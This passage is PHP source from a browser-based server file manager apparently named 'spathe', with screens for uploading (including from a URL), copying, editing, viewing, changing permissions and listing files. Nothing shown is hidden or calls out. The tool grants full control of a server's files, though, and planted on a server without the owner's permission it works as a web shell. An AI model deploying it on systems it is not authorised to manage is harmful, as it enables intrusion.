<div class="card mb-2 fm-upload-wrapper <?php echo fm_get_theme(); ?>">
<div class="card-header">
<ul class="nav nav-tabs card-header-tabs">
<li class="nav-item">
<a class="nav-link active" href="#fileUploader" data-target="#fileUploader"><i class="fa fa-arrow-circle-o-up"></i> <?php echo lng('UploadingFiles') ?></a>
</li>
<li class="nav-item">
<a class="nav-link" href="#urlUploader" class="js-url-upload" data-target="#urlUploader"><i class="fa fa-link"></i> <?php echo lng('Upload from URL') ?></a>
</li>
</ul>
</div>
<div class="card-body">
<p class="card-text">
<a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back')?></a>
<strong><?php echo lng('DestinationFolder') ?></strong>: <?php echo fanco(fm_convert_win(FM_PATH)) ?>
</p>
<form action="<?php echo htmlspecialchars(FM_SELF_URL) . '?p=' . fanco(FM_PATH) ?>" class="dropzone card-tabs-container" id="fileUploader" enctype="multipart/form-data">
<input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
<input type="hidden" name="fullpath" id="fullpath" value="<?php echo fanco(FM_PATH) ?>">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<div class="fallback">
<input name="file" type="file" multiple/>
</div>
</form>
<div class="upload-url-wrapper card-tabs-container hidden" id="urlUploader">
<form id="js-form-url-upload" class="row row-cols-lg-auto g-3 align-items-center" onsubmit="return upload_from_url(this);" method="POST" action="">
<input type="hidden" name="type" value="upload" aria-label="hidden" aria-hidden="true">
<input type="url" placeholder="URL" name="uploadurl" required class="form-control" style="width: 80%">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<button type="submit" class="btn btn-primary ms-3"><?php echo lng('Upload') ?></button>
<div class="lds-facebook"><div></div><div></div><div></div></div>
</form>
<div id="js-url-upload__list" class="col-9 mt-3"></div>
</div>
</div>
</div>
</div>
<?php print_external('js-dropzone'); ?>
<script>
Dropzone.options.fileUploader = {
chunking: true,
chunkSize: <?php echo UPLOAD_CHUNK_SIZE; ?>,
forceChunking: true,
retryChunks: true,
retryChunksLimit: 3,
parallelUploads: 1,
parallelChunkUploads: false,
timeout: 120000,
maxFilesize: "<?php echo MAX_UPLOAD_SIZE; ?>",
acceptedFiles : "<?php echo getUploadExt() ?>",
init: function () {
this.on("sending", function (file, xhr, formData) {
let _path = (file.fullPath) ? file.fullPath : file.name;
document.getElementById("fullpath").value = _path;
xhr.ontimeout = (function() {
toast('Error: Server Timeout');
});
}).on("success", function (res) {
try {
let _response = JSON.parse(res.xhr.response);
if(_response.status == "error") {
toast(_response.info);
}
} catch (e) {
toast("Error: Invalid JSON response");
}
}).on("error", function(file, response) {
toast(response);
});
}
}
</script>
<?php
fm_show_footer();
exit;
}
if (isset($_POST['copy']) and !FM_READONLY) {
$copy_files = isset($_POST['file']) ? $_POST['file'] : null;
if (!is_array($copy_files) || empty($copy_files)) {
fm_set_msg(lng('Nothing selected'), 'alert');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
?>
<div class="path">
<div class="card <?php echo fm_get_theme(); ?>">
<div class="card-header">
<h6><?php echo lng('Copying') ?></h6>
</div>
<div class="card-body">
<form action="" method="post">
<input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
<input type="hidden" name="finish" value="1">
<?php
foreach ($copy_files as $cf) {
echo '<input type="hidden" name="file[]" value="' . fanco($cf) . '">' . PHP_EOL;
}
?>
<p class="break-word"><strong><?php echo lng('Files') ?></strong>: <b><?php echo implode('</b>, <b>', $copy_files) ?></b></p>
<p class="break-word"><strong><?php echo lng('SourceFolder') ?></strong>: <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?><br>
<label for="inp_copy_to"><strong><?php echo lng('DestinationFolder') ?></strong>:</label>
<?php echo FM_ROOT_PATH ?>/<input type="text" name="copy_to" id="inp_copy_to" value="<?php echo fanco(FM_PATH) ?>">
</p>
<p class="custom-checkbox custom-control"><input type="checkbox" name="move" value="1" id="js-move-files" class="custom-control-input"><label for="js-move-files" class="custom-control-label ms-2"> <?php echo lng('Move') ?></label></p>
<p>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-danger"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Copy') ?></button>
</p>
</form>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET['copy']) and !isset($_GET['finish']) and !FM_READONLY) {
$copy = $_GET['copy'];
$copy = fm_clean_path($copy);
if ($copy == '' || !file_exists(FM_ROOT_PATH . '/' . $copy)) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
fm_show_header();
fm_show_nav_path(FM_PATH);
?>
<div class="path">
<p><b>Copying</b></p>
<p class="break-word">
<strong>Source path:</strong> <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . $copy)) ?><br>
<strong>Destination folder:</strong> <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?>
</p>
<p>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode($copy) ?>&finish=1"><i class="fa fa-check-circle"></i> Copy</a></b>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode($copy) ?>&finish=1&move=1"><i class="fa fa-check-circle"></i> Move</a></b>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="text-danger"><i class="fa fa-times-circle"></i> Cancel</a></b>
</p>
<p><i><?php echo lng('Select folder') ?></i></p>
<ul class="folders break-word">
<?php
if ($parent !== false) {
?>
<li><a href="?p=<?php echo urlencode($parent) ?>&copy=<?php echo urlencode($copy) ?>"><i class="fa fa-chevron-circle-left"></i> ..</a></li>
<?php
}
foreach ($folders as $f) {
?>
<li>
<a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>&copy=<?php echo urlencode($copy) ?>"><i class="fa fa-folder-o"></i> <?php echo fm_convert_win($f) ?></a></li>
<?php
}
?>
</ul>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET['settings']) and !FM_READONLY) {
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
global $cfg, $lang, $lang_list;
?>
<div class="col-md-8 offset-md-2 pt-3">
<div class="card mb-2 <?php echo fm_get_theme(); ?>">
<h6 class="card-header d-flex justify-content-between">
<span><i class="fa fa-cog"></i> <?php echo lng('Settings') ?></span>
<a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel')?></a>
</h6>
<div class="card-body">
<form id="js-settings-form" action="" method="post" data-type="ajax" onsubmit="return save_settings(this)">
<input type="hidden" name="type" value="settings" aria-label="hidden" aria-hidden="true">
<div class="form-group row">
<label for="js-language" class="col-sm-3 col-form-label"><?php echo lng('Language') ?></label>
<div class="col-sm-5">
<select class="form-select" id="js-language" name="js-language">
<?php
function getSelected($l) {
global $lang;
return ($lang == $l) ? 'selected' : '';
}
foreach ($lang_list as $k => $v) {
echo "<option value='$k' ".getSelected($k).">$v</option>";
}
?>
</select>
</div>
</div>
<div class="mt-3 mb-3 row ">
<label for="js-error-report" class="col-sm-3 col-form-label"><?php echo lng('ErrorReporting') ?></label>
<div class="col-sm-9">
<div class="form-check form-switch">
<input class="form-check-input" type="checkbox" role="switch" id="js-error-report" name="js-error-report" value="true" <?php echo $report_errors ? 'checked' : ''; ?> />
</div>
</div>
</div>
<div class="mb-3 row">
<label for="js-show-hidden" class="col-sm-3 col-form-label"><?php echo lng('ShowHiddenFiles') ?></label>
<div class="col-sm-9">
<div class="form-check form-switch">
<input class="form-check-input" type="checkbox" role="switch" id="js-show-hidden" name="js-show-hidden" value="true" <?php echo $show_hidden_files ? 'checked' : ''; ?> />
</div>
</div>
</div>
<div class="mb-3 row">
<label for="js-hide-cols" class="col-sm-3 col-form-label"><?php echo lng('HideColumns') ?></label>
<div class="col-sm-9">
<div class="form-check form-switch">
<input class="form-check-input" type="checkbox" role="switch" id="js-hide-cols" name="js-hide-cols" value="true" <?php echo $hide_Cols ? 'checked' : ''; ?> />
</div>
</div>
</div>
<div class="mb-3 row">
<label for="js-3-1" class="col-sm-3 col-form-label"><?php echo lng('Theme') ?></label>
<div class="col-sm-5">
<select class="form-select w-100" id="js-3-0" name="js-theme-3">
<option value='light' <?php if($theme == "light"){echo "selected";} ?>><?php echo lng('light') ?></option>
<option value='dark' <?php if($theme == "dark"){echo "selected";} ?>><?php echo lng('dark') ?></option>
</select>
</div>
</div>
<div class="mb-3 row">
<div class="col-sm-10">
<button type="submit" class="btn btn-success"> <i class="fa fa-check-circle"></i> <?php echo lng('Save'); ?></button>
</div>
</div>
</form>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET['help'])) {
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
global $cfg, $lang;
?>
<div class="col-md-8 offset-md-2 pt-3">
<div class="card mb-2 <?php echo fm_get_theme(); ?>">
<h6 class="card-header d-flex justify-content-between">
<span><i class="fa fa-exclamation-circle"></i> <?php echo lng('Help') ?></span>
<a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel')?></a>
</h6>
<div class="card-body">
<div class="row">
<div class="col-xs-12 col-sm-6">
<p><h3><a href="." target="_blank" class="app-v-title"> spathe <?php echo VERSION; ?></a></h3></p>
</div>
<div class="col-xs-12 col-sm-6">
<div class="card">
<ul class="list-group list-group-flush">
<li class="list-group-item"><a href="." target="_blank"><i class="fa fa-question-circle"></i> <?php echo lng('Help Documents') ?> </a> </li>
<li class="list-group-item"><a href="." target="_blank"><i class="fa fa-bug"></i> <?php echo lng('Report Issue') ?></a></li>
<?php if(!FM_READONLY) { ?>
<li class="list-group-item"><a href="javascript:show_new_pwd();"><i class="fa fa-lock"></i> <?php echo lng('Generate new password hash') ?></a></li>
<?php } ?>
</ul>
</div>
</div>
</div>
<div class="row js-new-pwd hidden mt-2">
<div class="col-12">
<form class="form-inline" onsubmit="return new_password_hash(this)" method="POST" action="">
<input type="hidden" name="type" value="pwdhash" aria-label="hidden" aria-hidden="true">
<div class="form-group mb-2">
<label for="staticEmail2"><?php echo lng('Generate new password hash') ?></label>
</div>
<div class="form-group mx-sm-3 mb-2">
<label for="inputPassword2" class="sr-only"><?php echo lng('Password') ?></label>
<input type="text" class="form-control btn-sm" id="inputPassword2" name="inputPassword2" placeholder="<?php echo lng('Password') ?>" required>
</div>
<button type="submit" class="btn btn-success btn-sm mb-2"><?php echo lng('Generate') ?></button>
</form>
<textarea class="form-control" rows="2" readonly id="js-pwd-result"></textarea>
</div>
</div>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET['view'])) {
$file = $_GET['view'];
$file = fm_clean_path($file, false);
$file = str_replace('/', '', $file);
if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file)) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
$file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
$file_path = $path . '/' . $file;
$ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
$mime_type = fm_get_mime_type($file_path);
$filesize_raw = fm_get_size($file_path);
$filesize = fm_get_filesize($filesize_raw);
$is_zip = false;
$is_gzip = false;
$is_image = false;
$is_audio = false;
$is_video = false;
$is_text = false;
$is_onlineViewer = false;
$view_title = 'File';
$filenames = false; // for zip
$content = ''; // for text
$online_viewer = strtolower(FM_DOC_VIEWER);
if($online_viewer and $online_viewer !== 'false' and in_array($ext, fm_get_onlineViewer_exts())){
$is_onlineViewer = true;
}
elseif ($ext == 'zip' || $ext == 'tar') {
$is_zip = true;
$view_title = 'Archive';
$filenames = fm_get_zif_info($file_path, $ext);
} elseif (in_array($ext, fm_get_image_exts())) {
$is_image = true;
$view_title = 'Image';
} elseif (in_array($ext, fm_get_audio_exts())) {
$is_audio = true;
$view_title = 'Audio';
} elseif (in_array($ext, fm_get_video_exts())) {
$is_video = true;
$view_title = 'Video';
} elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
$is_text = true;
$content = file_get_contents($file_path);
}
?>
<div class="row">
<div class="col-12">
<p class="break-word"><b><?php echo lng($view_title) ?> "<?php echo fanco(fm_convert_win($file)) ?>"</b></p>
<p class="break-word">
<?php $display_path = fm_get_display_path($file_path); ?>
<strong><?php echo $display_path['label']; ?>:</strong> <?php echo $display_path['path']; ?><br>
<strong>File size:</strong> <?php echo ($filesize_raw <= 1000) ? "$filesize_raw bytes" : $filesize; ?><br>
<strong>MIME-type:</strong> <?php echo $mime_type ?><br>
<?php
// ZIP info
if (($is_zip || $is_gzip) and $filenames !== false) {
$total_files = 0;
$total_comp = 0;
$total_uncomp = 0;
foreach ($filenames as $fn) {
if (!$fn['folder']) {
$total_files++;
}
$total_comp += $fn['compressed_size'];
$total_uncomp += $fn['filesize'];
}
?>
<?php echo lng('Files in archive') ?>: <?php echo $total_files ?><br>
<?php echo lng('Total size') ?>: <?php echo fm_get_filesize($total_uncomp) ?><br>
<?php echo lng('Size in archive') ?>: <?php echo fm_get_filesize($total_comp) ?><br>
<?php echo lng('Compression') ?>: <?php echo round(($total_comp / max($total_uncomp, 1)) * 100) ?>%<br>
<?php
}
// Image info
if ($is_image) {
$image_size = getimagesize($file_path);
echo '<strong>'.lng('Image size').':</strong> ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '<br>';
}
// Text info
if ($is_text) {
$is_utf8 = fm_is_utf8($content);
if (function_exists('iconv')) {
if (!$is_utf8) {
$content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content);
}
}
echo '<strong>'.lng('Charset').':</strong> ' . ($is_utf8 ? 'utf-8' : '8 bit') . '<br>';
}
?>
</p>
<div class="d-flex align-items-center mb-3">
<form method="post" class="d-inline ms-2" action="?p=<?php echo urlencode(FM_PATH) ?>&dl=<?php echo urlencode($file) ?>">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<button type="submit" class="btn btn-link text-decoration-none fw-bold p-0"><i class="fa fa-cloud-download"></i> <?php echo lng('Download') ?></button>
</form>
<b class="ms-2"><a href="<?php echo fanco($file_url) ?>" target="_blank"><i class="fa fa-external-link-square"></i> <?php echo lng('Open') ?></a></b>
<?php
// ZIP actions
if (!FM_READONLY and ($is_zip || $is_gzip) and $filenames !== false) {
$zip_name = pathinfo($file_path, PATHINFO_FILENAME);
?>
<form method="post" class="d-inline ms-2">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
<button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;"><i class="fa fa-check-circle"></i> <?php echo lng('UnZip') ?></button>
</form>
<form method="post" class="d-inline ms-2">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
<input type="hidden" name="tofolder" value="1">
<button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;" title="UnZip to <?php echo fanco($zip_name) ?>"><i class="fa fa-check-circle"></i> <?php echo lng('UnZipToFolder') ?></button>
</form>
<?php
}
if ($is_text and !FM_READONLY) {
?>
<b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>" class="edit-file"><i class="fa fa-pencil-square"></i> <?php echo lng('Edit') ?>
</a></b>
<b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>&env=ace"
class="edit-file"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?>
</a></b>
<?php } ?>
<b class="ms-2"><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back') ?></a></b>
</div>
<?php
if($is_onlineViewer) {
if($online_viewer == 'google') {
echo '<iframe src="https://docs.google.com/viewer?embedded=true&hl=en&url=' . fanco($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
} else if($online_viewer == 'microsoft') {
echo '<iframe src="https://view.officeapps.live.com/op/embed.aspx?src=' . fanco($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
}
} elseif ($is_zip) {
// ZIP content
if ($filenames !== false) {
echo '<code class="maxheight">';
foreach ($filenames as $fn) {
if ($fn['folder']) {
echo '<b>' . fanco($fn['name']) . '</b><br>';
} else {
echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')<br>';
}
}
echo '</code>';
} else {
echo '<p>'.lng('Error while fetching archive info').'</p>';
}
} elseif ($is_image) {
// Image content
if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) {
echo '<p><input type="checkbox" id="preview-img-zoomCheck"><label for="preview-img-zoomCheck"><img src="' . fanco($file_url) . '" alt="image" class="preview-img"></label></p>';
}
} elseif ($is_audio) {
// Audio content
echo '<p><audio src="' . fanco($file_url) . '" controls preload="metadata"></audio></p>';
} elseif ($is_video) {
// Video content
echo '<div class="preview-video"><video src="' . fanco($file_url) . '" width="640" height="360" controls preload="metadata"></video></div>';
} elseif ($is_text) {
if (FM_USE_HIGHLIGHTJS) {
// highlight
$hljs_classes = array(
'shtml' => 'xml',
'htaccess' => 'apache',
'phtml' => 'php',
'lock' => 'json',
'svg' => 'xml',
);
$hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext;
if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) {
$hljs_class = 'nohighlight';
}
$content = '<pre class="with-hljs"><code class="' . $hljs_class . '">' . fanco($content) . '</code></pre>';
} elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) {
// php highlight
$content = highlight_string($content, true);
} else {
$content = '<pre>' . fanco($content) . '</pre>';
}
echo $content;
}
?>
</div>
</div>
<?php
fm_show_footer();
exit;
}
// file editor
if (isset($_GET['edit']) and !FM_READONLY) {
$file = $_GET['edit'];
$file = fm_clean_path($file, false);
$file = str_replace('/', '', $file);
if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file)) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
$editFile = ' : <i><b>'. $file. '</b></i>';
header('X-XSS-Protection:0');
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
$file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
$file_path = $path . '/' . $file;
// normal editer
$isNormalEditor = true;
if (isset($_GET['env'])) {
if ($_GET['env'] == "ace") {
$isNormalEditor = false;
}
}
// Save File
if (isset($_POST['savedata'])) {
$writedata = $_POST['savedata'];
$fd = fopen($file_path, "w");
@fwrite($fd, $writedata);
fclose($fd);
fm_set_msg(lng('File Saved Successfully'));
}
$ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
$mime_type = fm_get_mime_type($file_path);
$filesize = filesize($file_path);
$is_text = false;
$content = ''; // for text
if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
$is_text = true;
$content = file_get_contents($file_path);
}
?>
<div class="path">
<div class="row">
<div class="col-xs-12 col-sm-5 col-lg-6 pt-1">
<div class="btn-toolbar" role="toolbar">
<?php if (!$isNormalEditor) { ?>
<div class="btn-group js-ace-toolbar">
<button data-cmd="none" data-option="fullscreen" class="btn btn-sm btn-outline-secondary" id="js-ace-fullscreen" title="<?php echo lng('Fullscreen') ?>"><i class="fa fa-expand" title="<?php echo lng('Fullscreen') ?>"></i></button>
<button data-cmd="find" class="btn btn-sm btn-outline-secondary" id="js-ace-search" title="<?php echo lng('Search') ?>"><i class="fa fa-search" title="<?php echo lng('Search') ?>"></i></button>
<button data-cmd="undo" class="btn btn-sm btn-outline-secondary" id="js-ace-undo" title="<?php echo lng('Undo') ?>"><i class="fa fa-undo" title="<?php echo lng('Undo') ?>"></i></button>
<button data-cmd="redo" class="btn btn-sm btn-outline-secondary" id="js-ace-redo" title="<?php echo lng('Redo') ?>"><i class="fa fa-repeat" title="<?php echo lng('Redo') ?>"></i></button>
<button data-cmd="none" data-option="wrap" class="btn btn-sm btn-outline-secondary" id="js-ace-wordWrap" title="<?php echo lng('Word Wrap') ?>"><i class="fa fa-text-width" title="<?php echo lng('Word Wrap') ?>"></i></button>
<select id="js-ace-mode" data-type="mode" title="<?php echo lng('Select Document Type') ?>" class="btn-outline-secondary border-start-0 d-none d-md-block"><option>-- <?php echo lng('Select Mode') ?> --</option></select>
<select id="js-ace-theme" data-type="theme" title="<?php echo lng('Select Theme') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng('Select Theme') ?> --</option></select>
<select id="js-ace-fontSize" data-type="fontSize" title="<?php echo lng('Select Font Size') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng('Select Font Size') ?> --</option></select>
</div>
<?php } ?>
</div>
</div>
<div class="edit-file-actions col-xs-12 col-sm-7 col-lg-6 text-end pt-1">
<a title="<?php echo lng('Back') ?>" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&view=<?php echo urlencode($file) ?>"><i class="fa fa-reply-all"></i> <?php echo lng('Back') ?></a>
<a title="<?php echo lng('BackUp') ?>" class="btn btn-sm btn-outline-primary" href="javascript:void(0);" onclick="backup('<?php echo urlencode(trim(FM_PATH)) ?>','<?php echo urlencode($file) ?>')"><i class="fa fa-database"></i> <?php echo lng('BackUp') ?></a>
<?php if ($is_text) { ?>
<?php if ($isNormalEditor) { ?>
<a title="Advanced" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>&env=ace"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?></a>
<button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fanco($file_url) ?>" onclick="edit_save(this,'nrl')"><i class="fa fa-floppy-o"></i> Save
</button>
<?php } else { ?>
<a title="Plain Editor" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>"><i class="fa fa-text-height"></i> <?php echo lng('NormalEditor') ?></a>
<button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fanco($file_url) ?>" onclick="edit_save(this,'ace')"><i class="fa fa-floppy-o"></i> <?php echo lng('Save') ?>
</button>
<?php } ?>
<?php } ?>
</div>
</div>
<?php
if ($is_text and $isNormalEditor) {
echo '<textarea class="mt-2" id="normal-editor" rows="33" cols="120" style="width: 99.5%;">' . htmlspecialchars($content) . '</textarea>';
echo '<script>document.addEventListener("keydown", function(e) {if ((window.navigator.platform.match("Mac") ? e.metaKey : e.ctrlKey) and e.keyCode == 83) { e.preventDefault();edit_save(this,"nrl");}}, false);</script>';
} elseif ($is_text) {
echo '<div id="editor" contenteditable="true">' . htmlspecialchars($content) . '</div>';
} else {
fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error');
}
?>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET['chmod']) and !FM_READONLY and !FM_IS_WIN) {
$file = $_GET['chmod'];
$file = fm_clean_path($file);
$file = str_replace('/', '', $file);
if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
$file_url = FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file;
$file_path = $path . '/' . $file;
$mode = fileperms($path . '/' . $file);
?>
<div class="path">
<div class="card mb-2 <?php echo fm_get_theme(); ?>">
<h6 class="card-header">
<?php echo lng('ChangePermissions') ?>
</h6>
<div class="card-body">
<p class="card-text">
<?php $display_path = fm_get_display_path($file_path); ?>
<?php echo $display_path['label']; ?>: <?php echo $display_path['path']; ?><br>
</p>
<form action="" method="post">
<input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
<input type="hidden" name="chmod" value="<?php echo fanco($file) ?>">
<table class="table compact-table <?php echo fm_get_theme(); ?>">
<tr>
<td></td>
<td><b><?php echo lng('Owner') ?></b></td>
<td><b><?php echo lng('Group') ?></b></td>
<td><b><?php echo lng('Other') ?></b></td>
</tr>
<tr>
<td style="text-align: right"><b><?php echo lng('Read') ?></b></td>
<td><label><input type="checkbox" name="ur" value="1"<?php echo ($mode & 00400) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="gr" value="1"<?php echo ($mode & 00040) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="or" value="1"<?php echo ($mode & 00004) ? ' checked' : '' ?>></label></td>
</tr>
<tr>
<td style="text-align: right"><b><?php echo lng('Write') ?></b></td>
<td><label><input type="checkbox" name="uw" value="1"<?php echo ($mode & 00200) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="gw" value="1"<?php echo ($mode & 00020) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="ow" value="1"<?php echo ($mode & 00002) ? ' checked' : '' ?>></label></td>
</tr>
<tr>
<td style="text-align: right"><b><?php echo lng('Execute') ?></b></td>
<td><label><input type="checkbox" name="ux" value="1"<?php echo ($mode & 00100) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="gx" value="1"<?php echo ($mode & 00010) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="ox" value="1"<?php echo ($mode & 00001) ? ' checked' : '' ?>></label></td>
</tr>
</table>
<p>
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>
<button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Change') ?></button>
</p>
</form>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
fm_show_message();
$num_files = count($files);
$num_folders = count($folders);
$all_files_size = 0;
$tableTheme = (FM_THEME == "dark") ? "text-white bg-dark table-dark" : "bg-white";
?>
<form action="" method="post" class="pt-3">
<input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
<input type="hidden" name="group" value="1">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<div class="table-responsive">
<table class="table table-bordered table-hover table-sm <?php echo $tableTheme; ?>" id="main-table">
<thead class="thead-white">
<tr>
<?php if (!FM_READONLY): ?>
<th style="width:3%" class="custom-checkbox-header">
<div class="custom-control custom-checkbox">
<input type="checkbox" class="custom-control-input" id="js-select-all-items" onclick="checkbox_toggle()">
<label class="custom-control-label" for="js-select-all-items"></label>
</div>
</th><?php endif; ?>
<th><?php echo lng('Name') ?></th>
<th><?php echo lng('Size') ?></th>
<th><?php echo lng('Modified') ?></th>
<?php if (!FM_IS_WIN and !$hide_Cols): ?>
<th><?php echo lng('Perms') ?></th>
<th><?php echo lng('Owner') ?></th><?php endif; ?>
<th><?php echo lng('Actions') ?></th>
</tr>
</thead>
<?php
if ($parent !== false) {
?>
<tr><?php if (!FM_READONLY): ?>
<td class="nosort"></td><?php endif; ?>
<td class="border-0" data-sort><a href="?p=<?php echo urlencode($parent) ?>"><i class="fa fa-chevron-circle-left go-back"></i> ..</a></td>
<td class="border-0" data-order></td>
<td class="border-0" data-order></td>
<td class="border-0"></td>
<?php if (!FM_IS_WIN and !$hide_Cols) { ?>
<td class="border-0"></td>
<td class="border-0"></td>
<?php } ?>
</tr>
<?php
}
$uu = 3399;
foreach ($folders as $f) {
$is_link = is_link($path . '/' . $f);
$img = $is_link ? 'icon-link_folder' : 'fa fa-folder-o';
$modif_raw = filemtime($path . '/' . $f);
$modif = date(FM_DATETIME_FORMAT, $modif_raw);
$date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
$filesize_raw = "";
$filesize = lng('Folder');
$perms = substr(decoct(fileperms($path . '/' . $f)), -4);
if (function_exists('posix_getpwuid') and function_exists('posix_getgrgid')) {
$owner = posix_getpwuid(fileowner($path . '/' . $f));
$group = posix_getgrgid(filegroup($path . '/' . $f));
if ($owner === false) {
$owner = array('name' => '?');
}
if ($group === false) {
$group = array('name' => '?');
}
} else {
$owner = array('name' => '?');
$group = array('name' => '?');
}
?>
<tr>
<?php if (!FM_READONLY): ?>
<td class="custom-checkbox-td">
<div class="custom-control custom-checkbox">
<input type="checkbox" class="custom-control-input" id="<?php echo $uu ?>" name="file[]" value="<?php echo fanco($f) ?>">
